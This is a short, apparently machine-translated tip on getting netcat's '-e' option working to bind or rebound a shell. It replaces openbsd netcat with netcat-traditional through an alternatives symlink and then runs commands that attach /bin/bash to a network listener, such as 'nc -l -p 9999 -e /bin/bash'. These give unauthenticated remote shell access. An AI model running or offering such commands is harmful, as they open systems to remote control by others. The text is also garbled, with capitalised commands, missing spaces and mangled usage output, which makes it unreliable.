An error occurred when the nc rebounded the shell.
Nc: invalid option-'E'
This is nc from the netcat-openbsd package. An alternative nc is available
In the netcat-traditional package.
The following is a solution: www.111cn.net
$ Which nc
/Bin/nc
$ Ls-ld/bin/nc
Lrwxrwxrwx 1 root 20 October 24 2012/bin/nc->/etc/alternatives/nc
$ Ls-ld/etc/alternatives/nc
Lrwxrwxrwx 1 root 19 February 13 10:03/etc/alternatives/nc->/bin/nc. traditional
In fact, we are looking for a file/bin/nc. traditional:
$/Bin/nc. openbsd-l-p 9999-e/bin/bash
/Bin/nc. openbsd: invalid option -- 'e'
Usage: nc [-46 DdhklnrStUuvzC] [-I interval] [-P proxy_username] [-p source_port]
[-S source_ip_address] [-T ToS] [-w timeout] [-X proxy_protocol]
[-X proxy_address [: port] [hostname] [port [s]
$/Bin/nc. traditional-l-p 9999-e/bin/bash
^ C
$
In combination with the above output message, we can use the following command to fix it:
$ Sudo rm/etc/alternatives/nc & sudo ln-s/bin/nc. traditional/etc/alternatives/nc
Try again after the fix. If no error is reported, the shell rebound is successful!
$ Nc-l 192.168.2.180-p 12345-e/bin/bash